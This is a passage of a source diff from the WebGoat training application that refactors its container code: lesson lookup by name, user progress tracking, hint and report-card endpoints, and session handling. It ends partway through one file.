src/main/java/org/owasp/webgoat/container/lessons/Lesson.java

@@ -22,6 +22,7 @@
 
 package org.owasp.webgoat.container.lessons;
 
+import java.util.ArrayList;
 import java.util.List;
 import lombok.Getter;
 import lombok.Setter;
@@ -30,13 +31,10 @@ import lombok.Setter;
 @Setter
 public abstract class Lesson {
 
-  private static int count = 1;
-  private Integer id = null;
-  private List<Assignment> assignments;
+  private List<Assignment> assignments = new ArrayList<>();
 
-  /** Constructor for the Lesson object */
-  protected Lesson() {
-    id = ++count;
+  public void addAssignment(Assignment assignment) {
+    this.assignments.add(assignment);
   }
 
   /**
@@ -44,9 +42,9 @@ public abstract class Lesson {
    *
    * @return a {@link java.lang.String} object.
    */
-  public String getName() {
+  public LessonName getName() {
     String className = getClass().getName();
-    return className.substring(className.lastIndexOf('.') + 1);
+    return new LessonName(className.substring(className.lastIndexOf('.') + 1));
   }
 
   /**
@@ -116,6 +114,10 @@ public abstract class Lesson {
     return this.getClass().getSimpleName();
   }
 
+  /**
+   * This is used in Thymeleaf to construct the HTML to load the lesson content from. See
+   * lesson_content.html
+   */
   public final String getPackage() {
     var packageName = this.getClass().getPackageName();
     // package name is the direct package name below lessons (any subpackage will be removed)

src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java

@@ -4,15 +4,13 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.sql.Connection;
-import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
 /**
  * Handler which sets the correct schema for the currently bounded user. This way users are not
- * seeing each other data and we can reset data for just one particular user.
+ * seeing each other data, and we can reset data for just one particular user.
  */
-@Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {
 
   private final Connection targetConnection;

src/main/java/org/owasp/webgoat/container/lessons/LessonName.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container.lessons;
+
+import org.springframework.util.Assert;
+
+/**
+ * Wrapper class for the name of a lesson. This class is used to ensure that the lesson name is not
+ * null and does not contain the ".lesson" suffix. The front-end passes the lesson name as a string
+ * to the back-end, which then creates a new LessonName object with the lesson name as a parameter.
+ * The constructor of the LessonName class checks if the lesson name is null and removes the
+ * ".lesson" suffix if it is present.
+ *
+ * @param lessonName
+ */
+public record LessonName(String lessonName) {
+  public LessonName {
+    Assert.notNull(lessonName, "Lesson name cannot be null");
+    if (lessonName.contains(".lesson")) {
+      lessonName = lessonName.substring(0, lessonName.indexOf(".lesson"));
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/report/LessonStatistics.java

@@ -0,0 +1,3 @@
+package org.owasp.webgoat.container.report;
+
+record LessonStatistics(String name, boolean solved, int numberOfAttempts) {}

src/main/java/org/owasp/webgoat/container/report/ReportCardController.java

@@ -0,0 +1,88 @@
+/**
+ * *************************************************************************************************
+ *
+ * <p>
+ *
+ * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ *
+ * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * <p>Getting Source ==============
+ *
+ * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * for free software projects.
+ */
+package org.owasp.webgoat.container.report;
+
+import java.util.List;
+import org.owasp.webgoat.container.CurrentUsername;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.users.UserProgressRepository;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class ReportCardController {
+
+  private final UserProgressRepository userProgressRepository;
+  private final Course course;
+  private final PluginMessages pluginMessages;
+
+  public ReportCardController(
+      UserProgressRepository userProgressRepository, Course course, PluginMessages pluginMessages) {
+    this.userProgressRepository = userProgressRepository;
+    this.course = course;
+    this.pluginMessages = pluginMessages;
+  }
+
+  /**
+   * Endpoint which generates the report card for the current use to show the stats on the solved
+   * lessons
+   */
+  @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
+  @ResponseBody
+  public ReportCard reportCard(@CurrentUsername String username) {
+    var userProgress = userProgressRepository.findByUser(username);
+    var lessonStatistics =
+        course.getLessons().stream()
+            .map(
+                lesson -> {
+                  var lessonTracker = userProgress.getLessonProgress(lesson);
+                  return new LessonStatistics(
+                      pluginMessages.getMessage(lesson.getTitle()),
+                      lessonTracker.isLessonSolved(),
+                      lessonTracker.getNumberOfAttempts());
+                })
+            .toList();
+    return new ReportCard(
+        course.getTotalOfLessons(),
+        course.getTotalOfAssignments(),
+        userProgress.numberOfAssignmentsSolved(),
+        userProgress.numberOfLessonsSolved(),
+        lessonStatistics);
+  }
+
+  private record ReportCard(
+      int totalNumberOfLessons,
+      int totalNumberOfAssignments,
+      long numberOfAssignmentsSolved,
+      long numberOfLessonsSolved,
+      List<LessonStatistics> lessonStatistics) {}
+
+  private record LessonStatistics(String name, boolean solved, int numberOfAttempts) {}
+}

src/main/java/org/owasp/webgoat/container/service/HintService.java

@@ -10,26 +10,24 @@ import java.util.Collection;
 import java.util.List;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Hint;
-import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.session.Course;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * HintService class.
- *
- * @author rlawson
- * @version $Id: $Id
- */
 @RestController
 public class HintService {
 
   public static final String URL_HINTS_MVC = "/service/hint.mvc";
-  private final WebSession webSession;
+  private final List<Hint> allHints;
 
-  public HintService(WebSession webSession) {
-    this.webSession = webSession;
+  public HintService(Course course) {
+    this.allHints =
+        course.getLessons().stream()
+            .flatMap(lesson -> lesson.getAssignments().stream())
+            .map(this::createHint)
+            .flatMap(Collection::stream)
+            .toList();
   }
 
   /**
@@ -40,15 +38,7 @@ public class HintService {
   @GetMapping(path = URL_HINTS_MVC, produces = "application/json")
   @ResponseBody
   public List<Hint> getHints() {
-    Lesson l = webSession.getCurrentLesson();
-    return createAssignmentHints(l);
-  }
-
-  private List<Hint> createAssignmentHints(Lesson l) {
-    if (l != null) {
-      return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList();
-    }
-    return List.of();
+    return allHints;
   }
 
   private List<Hint> createHint(Assignment a) {

src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java

@@ -1,33 +1,24 @@
 package org.owasp.webgoat.container.service;
 
-import lombok.AllArgsConstructor;
-import org.owasp.webgoat.container.lessons.Lesson;
+import lombok.RequiredArgsConstructor;
 import org.owasp.webgoat.container.lessons.LessonInfoModel;
-import org.owasp.webgoat.container.session.WebSession;
-import org.springframework.web.bind.annotation.RequestMapping;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * LessonInfoService class.
- *
- * @author dm
- * @version $Id: $Id
- */
 @RestController
-@AllArgsConstructor
+@RequiredArgsConstructor
 public class LessonInfoService {
 
-  private final WebSession webSession;
+  private final Course course;
 
-  /**
-   * getLessonInfo.
-   *
-   * @return a {@link LessonInfoModel} object.
-   */
-  @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
-  public @ResponseBody LessonInfoModel getLessonInfo() {
-    Lesson lesson = webSession.getCurrentLesson();
+  @GetMapping(path = "/service/lessoninfo.mvc/{lesson}")
+  public @ResponseBody LessonInfoModel getLessonInfo(
+      @PathVariable("lesson") LessonName lessonName) {
+    var lesson = course.getLessonByName(lessonName);
     return new LessonInfoModel(lesson.getTitle(), false, false, false);
   }
 }

src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java

@@ -32,16 +32,16 @@ import java.util.Comparator;
 import java.util.List;
 import java.util.Map;
 import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.CurrentUsername;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Category;
 import org.owasp.webgoat.container.lessons.Lesson;
 import org.owasp.webgoat.container.lessons.LessonMenuItem;
 import org.owasp.webgoat.container.lessons.LessonMenuItemType;
 import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.LessonTracker;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.owasp.webgoat.container.users.LessonProgress;
+import org.owasp.webgoat.container.users.UserProgress;
+import org.owasp.webgoat.container.users.UserProgressRepository;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -59,8 +59,7 @@ public class LessonMenuService {
 
   public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc";
   private final Course course;
-  private final WebSession webSession;
-  private UserTrackerRepository userTrackerRepository;
+  private UserProgressRepository userTrackerRepository;
 
   @Value("#{'${exclude.categories}'.split(',')}")
   private List<String> excludeCategories;
@@ -74,10 +73,13 @@ public class LessonMenuService {
    * @return a {@link java.util.List} object.
    */
   @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json")
-  public @ResponseBody List<LessonMenuItem> showLeftNav() {
+  public @ResponseBody List<LessonMenuItem> showLeftNav(@CurrentUsername String username) {
+    // TODO: this looks way too complicated. Either we save it incorrectly or we miss something to
+    // easily find out
+    // if a lesson if solved or not.
     List<LessonMenuItem> menu = new ArrayList<>();
     List<Category> categories = course.getCategories();
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+    UserProgress userTracker = userTrackerRepository.findByUser(username);
 
     for (Category category : categories) {
       if (excludeCategories.contains(category.name())) {
@@ -97,12 +99,12 @@ public class LessonMenuService {
         lessonItem.setName(lesson.getTitle());
         lessonItem.setLink(lesson.getLink());
         lessonItem.setType(LessonMenuItemType.LESSON);
-        LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
+        LessonProgress lessonTracker = userTracker.getLessonProgress(lesson);
         boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
         lessonItem.setComplete(lessonSolved);
         categoryItem.addChild(lessonItem);
       }
-      categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
+      categoryItem.getChildren().sort(Comparator.comparingInt(LessonMenuItem::getRanking));
       menu.add(categoryItem);
     }
     return menu;

src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java

@@ -4,11 +4,15 @@ import java.util.List;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.CurrentUsername;
 import org.owasp.webgoat.container.lessons.Assignment;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.users.UserProgressRepository;
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.util.Assert;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.ResponseBody;
 
 /**
@@ -20,8 +24,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
 @RequiredArgsConstructor
 public class LessonProgressService {
 
-  private final UserTrackerRepository userTrackerRepository;
-  private final WebSession webSession;
+  private final UserProgressRepository userProgressRepository;
+  private final Course course;
 
   /**
    * Endpoint for fetching the complete lesson overview which informs the user about whether all the
@@ -29,19 +33,19 @@ public class LessonProgressService {
    *
    * @return list of assignments
    */
-  @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
+  @GetMapping(value = "/service/lessonoverview.mvc/{lesson}")
   @ResponseBody
-  public List<LessonOverview> lessonOverview() {
-    var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    var currentLesson = webSession.getCurrentLesson();
+  public List<LessonOverview> lessonOverview(
+      @PathVariable("lesson") LessonName lessonName, @CurrentUsername String username) {
+    var userProgress = userProgressRepository.findByUser(username);
+    var lesson = course.getLessonByName(lessonName);
 
-    if (currentLesson != null) {
-      var lessonTracker = userTracker.getLessonTracker(currentLesson);
-      return lessonTracker.getLessonOverview().entrySet().stream()
-          .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
-          .toList();
-    }
-    return List.of();
+    Assert.isTrue(lesson != null, "Lesson not found: " + lessonName);
+
+    var lessonProgress = userProgress.getLessonProgress(lesson);
+    return lessonProgress.getLessonOverview().entrySet().stream()
+        .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
+        .toList();
   }
 
   @AllArgsConstructor

src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java

@@ -1,34 +0,0 @@
-package org.owasp.webgoat.container.service;
-
-import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.container.session.WebSession;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-/**
- * LessonTitleService class.
- *
- * @author dm
- * @version $Id: $Id
- */
-@Controller
-public class LessonTitleService {
-
-  private final WebSession webSession;
-
-  public LessonTitleService(final WebSession webSession) {
-    this.webSession = webSession;
-  }
-
-  /**
-   * Returns the title for the current attack
-   *
-   * @return a {@link java.lang.String} object.
-   */
-  @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html")
-  public @ResponseBody String showPlan() {
-    Lesson lesson = webSession.getCurrentLesson();
-    return lesson != null ? lesson.getTitle() : "";
-  }
-}

src/main/java/org/owasp/webgoat/container/service/ReportCardService.java

@@ -1,105 +0,0 @@
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- */
-package org.owasp.webgoat.container.service;
-
-import java.util.ArrayList;
-import java.util.List;
-import lombok.AllArgsConstructor;
-import lombok.Getter;
-import lombok.Setter;
-import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.LessonTracker;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-/**
- * ReportCardService
- *
- * @author nbaars
- * @version $Id: $Id
- */
-@Controller
-@AllArgsConstructor
-public class ReportCardService {
-
-  private final WebSession webSession;
-  private final UserTrackerRepository userTrackerRepository;
-  private final Course course;
-  private final PluginMessages pluginMessages;
-
-  /**
-   * Endpoint which generates the report card for the current use to show the stats on the solved
-   * lessons
-   */
-  @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
-  @ResponseBody
-  public ReportCard reportCard() {
-    final ReportCard reportCard = new ReportCard();
-    reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
-    reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
-
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
-    reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
-    for (Lesson lesson : course.getLessons()) {
-      LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
-      final LessonStatistics lessonStatistics = new LessonStatistics();
-      lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
-      lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
-      lessonStatistics.setSolved(lessonTracker.isLessonSolved());
-      reportCard.lessonStatistics.add(lessonStatistics);
-    }
-    return reportCard;
-  }
-
-  @Getter
-  @Setter
-  private final class ReportCard {
-
-    private int totalNumberOfLessons;
-    private int totalNumberOfAssignments;
-    private int solvedLessons;
-    private int numberOfAssignmentsSolved;
-    private int numberOfLessonsSolved;
-    private List<LessonStatistics> lessonStatistics = new ArrayList<>();
-  }
-
-  @Setter
-  @Getter
-  private final class LessonStatistics {
-    private String name;
-    private boolean solved;
-    private int numberOfAttempts;
-  }
-}

src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java

@@ -29,14 +29,17 @@ import java.util.function.Function;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.Initializeable;
-import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.owasp.webgoat.container.CurrentUser;
+import org.owasp.webgoat.container.lessons.Initializable;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.container.session.Course;
+import org.owasp.webgoat.container.users.UserProgress;
+import org.owasp.webgoat.container.users.UserProgressRepository;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.http.HttpStatus;
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.ResponseStatus;
 
 @Controller
@@ -44,25 +47,25 @@ import org.springframework.web.bind.annotation.ResponseStatus;
 @Slf4j
 public class RestartLessonService {
 
-  private final WebSession webSession;
-  private final UserTrackerRepository userTrackerRepository;
+  private final Course course;
+  private final UserProgressRepository userTrackerRepository;
   private final Function<String, Flyway> flywayLessons;
-  private final List<Initializeable> lessonsToInitialize;
+  private final List<Initializable> lessonsToInitialize;
 
-  @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
+  @GetMapping(path = "/service/restartlesson.mvc/{lesson}")
   @ResponseStatus(value = HttpStatus.OK)
-  public void restartLesson() {
-    Lesson al = webSession.getCurrentLesson();
-    log.debug("Restarting lesson: " + al);
+  public void restartLesson(
+      @PathVariable("lesson") LessonName lessonName, @CurrentUser WebGoatUser user) {
+    var lesson = course.getLessonByName(lessonName);
 
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    userTracker.reset(al);
+    UserProgress userTracker = userTrackerRepository.findByUser(user.getUsername());
+    userTracker.reset(lesson);
     userTrackerRepository.save(userTracker);
 
-    var flyway = flywayLessons.apply(webSession.getUserName());
+    var flyway = flywayLessons.apply(user.getUsername());
     flyway.clean();
     flyway.migrate();
 
-    lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
+    lessonsToInitialize.forEach(i -> i.initialize(user));
   }
 }

src/main/java/org/owasp/webgoat/container/service/SessionService.java

@@ -7,8 +7,9 @@
 package org.owasp.webgoat.container.service;
 
 import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.CurrentUser;
 import org.owasp.webgoat.container.i18n.Messages;
-import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
@@ -17,17 +18,17 @@ import org.springframework.web.bind.annotation.ResponseBody;
 @RequiredArgsConstructor
 public class SessionService {
 
-  private final WebSession webSession;
   private final RestartLessonService restartLessonService;
   private final Messages messages;
 
   @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
   @ResponseBody
-  public String applySecurity() {
-    webSession.toggleSecurity();
-    restartLessonService.restartLesson();
+  public String applySecurity(@CurrentUser WebGoatUser user) {
+    // webSession.toggleSecurity();
+    // restartLessonService.restartLesson(user);
 
-    var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
-    return messages.getMessage(msg);
+    // TODO disabled for now
+    // var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
+    return messages.getMessage("Not working...");
   }
 }

src/main/java/org/owasp/webgoat/container/session/Course.java

@@ -4,6 +4,7 @@ import java.util.List;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.lessons.Category;
 import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.LessonName;
 
 /**
  * ************************************************************************************************
@@ -96,4 +97,21 @@ public class Course {
     return this.lessons.stream()
         .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
   }
+
+  public Lesson getLessonByName(LessonName lessonName) {
+    return lessons.stream()
+        .filter(lesson -> lesson.getName().equals(lessonName))
+        .findFirst()
+        .orElse(null);
+  }
+
+  public Lesson getLessonByAssignment(String assignmentName) {
+    return lessons.stream()
+        .filter(
+            lesson ->
+                lesson.getAssignments().stream()
+                    .anyMatch(assignment -> assignment.getName().equals(assignmentName)))
+        .findFirst()
+        .orElse(null);
+  }
 }

src/main/java/org/owasp/webgoat/container/session/LessonSession.java

@@ -0,0 +1,44 @@
+package org.owasp.webgoat.container.session;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * This class is responsible for managing user session data within a lesson. It uses a HashMap to
+ * store key-value pairs representing session data.
+ */
+public class LessonSession {
+
+  private Map<String, Object> userSessionData = new HashMap<>();
+
+  /** Default constructor initializing an empty session. */
+  public LessonSession() {}
+
+  /**
+   * Retrieves the value associated with the given key.
+   *
+   * @param key the key for the session data
+   * @return the value associated with the key, or null if the key does not exist
+   */
+  public Object getValue(String key) {
+    if (!userSessionData.containsKey(key)) {
+      return null;
+    }
+    // else
+    return userSessionData.get(key);
+  }
+
+  /**
+   * Sets the value for the given key. If the key already exists, its value is updated.
+   *
+   * @param key the key for the session data
+   * @param value the value to be associated with the key
+   */
+  public void setValue(String key, Object value) {
+    if (userSessionData.containsKey(key)) {
+      userSessionData.replace(key, value);
+    } else {
+      userSessionData.put(key, value);
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/session/UserSessionData.java

@@ -1,32 +0,0 @@
-package org.owasp.webgoat.container.session;
-
-import java.util.HashMap;
-
-/** Created by jason on 1/4/17. */
-public class UserSessionData {
-
-  private HashMap<String, Object> userSessionData = new HashMap<>();
-
-  public UserSessionData() {}
-
-  public UserSessionData(String key, String value) {
-    setValue(key, value);
-  }
-
-  // GETTERS & SETTERS
-  public Object getValue(String key) {
-    if (!userSessionData.containsKey(key)) {
-      return null;
-    }
-    // else
-    return userSessionData.get(key);
-  }
-
-  public void setValue(String key, Object value) {
-    if (userSessionData.containsKey(key)) {
-      userSessionData.replace(key, value);
-    } else {
-      userSessionData.put(key, value);
-    }
-  }
-}

src/main/java/org/owasp/webgoat/container/session/WebSession.java

@@ -1,90 +0,0 @@
-package org.owasp.webgoat.container.session;
-
-import java.io.Serializable;
-import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;
-
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
- * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
- * @version $Id: $Id
- * @since October 28, 2003
- */
-public class WebSession implements Serializable {
-
-  private static final long serialVersionUID = -4270066103101711560L;
-  private final WebGoatUser currentUser;
-  private transient Lesson currentLesson;
-  private boolean securityEnabled;
-
-  public WebSession() {
-    this.currentUser =
-        (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
-  }
-
-  /**
-   * Setter for the field <code>currentScreen</code>.
-   *
-   * @param lesson current lesson
-   */
-  public void setCurrentLesson(Lesson lesson) {
-    this.currentLesson = lesson;
-  }
-
-  /**
-   * getCurrentLesson.
-   *
-   * @return a {@link Lesson} object.
-   */
-  public Lesson getCurrentLesson() {
-    return this.currentLesson;
-  }
-
-  /**
-   * Gets the userName attribute of the WebSession object
-   *
-   * @return The userName value
-   */
-  public String getUserName() {
-    return currentUser.getUsername();
-  }
-
-  public WebGoatUser getUser() {
-    return currentUser;
-  }
-
-  public void toggleSecurity() {
-    this.securityEnabled = !this.securityEnabled;
-  }
-
-  public boolean isSecurityEnabled() {
-    return securityEnabled;
-  }
-}

src/main/java/org/owasp/webgoat/container/users/LessonProgress.java

@@ -1,8 +1,20 @@
 package org.owasp.webgoat.container.users;
 
-import java.util.*;
+import jakarta.persistence.CascadeType;
+import jakarta.persistence.Entity;
+import jakarta.persistence.FetchType;
+import jakarta.persistence.GeneratedValue;
+import jakarta.persistence.GenerationType;
+import jakarta.persistence.Id;
+import jakarta.persistence.OneToMany;
+import jakarta.persistence.Version;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
 import java.util.stream.Collectors;
-import javax.persistence.*;
+import lombok.EqualsAndHashCode;
 import lombok.Getter;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Lesson;
@@ -39,34 +51,32 @@ import org.owasp.webgoat.container.lessons.Lesson;
  * @since October 29, 2003
  */
 @Entity
-public class LessonTracker {
+@EqualsAndHashCode
+public class LessonProgress {
 
   @Id
-  @GeneratedValue(strategy = GenerationType.AUTO)
+  @GeneratedValue(strategy = GenerationType.IDENTITY)
   private Long id;
 
   @Getter private String lessonName;
 
   @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
-  private final Set<Assignment> solvedAssignments = new HashSet<>();
-
-  @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
-  private final Set<Assignment> allAssignments = new HashSet<>();
+  private final Set<Assignment> assignments = new HashSet<>();
 
   @Getter private int numberOfAttempts = 0;
   @Version private Integer version;
 
-  private LessonTracker() {
+  protected LessonProgress() {
     // JPA
   }
 
-  public LessonTracker(Lesson lesson) {
+  public LessonProgress(Lesson lesson) {
     lessonName = lesson.getId();
-    allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());
+    assignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());
   }
 
   public Optional<Assignment> getAssignment(String name) {
-    return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst();
+    return assignments.stream().filter(a -> a.getName().equals(name)).findFirst();
   }
 
   /**
@@ -75,14 +85,14 @@ public class LessonTracker {
    * @param solvedAssignment the assignment which the user solved
    */
   public void assignmentSolved(String solvedAssignment) {
-    getAssignment(solvedAssignment).ifPresent(solvedAssignments::add);
+    getAssignment(solvedAssignment).ifPresent(Assignment::solved);
   }
 
   /**
    * @return did they user solved all solvedAssignments for the lesson?
    */
   public boolean isLessonSolved() {
-    return allAssignments.size() == solvedAssignments.size();
+    return assignments.stream().allMatch(Assignment::isSolved);
   }
 
   /** Increase the number attempts to solve the lesson */
@@ -92,18 +102,17 @@ public class LessonTracker {
 
   /** Reset the tracker. We do not reset the number of attempts here! */
   void reset() {
-    solvedAssignments.clear();
+    assignments.clear();
   }
 
   /**
    * @return list containing all the assignments solved or not
    */
   public Map<Assignment, Boolean> getLessonOverview() {
-    List<Assignment> notSolved =
-        allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList();
-    Map<Assignment, Boolean> overview =
-        notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));
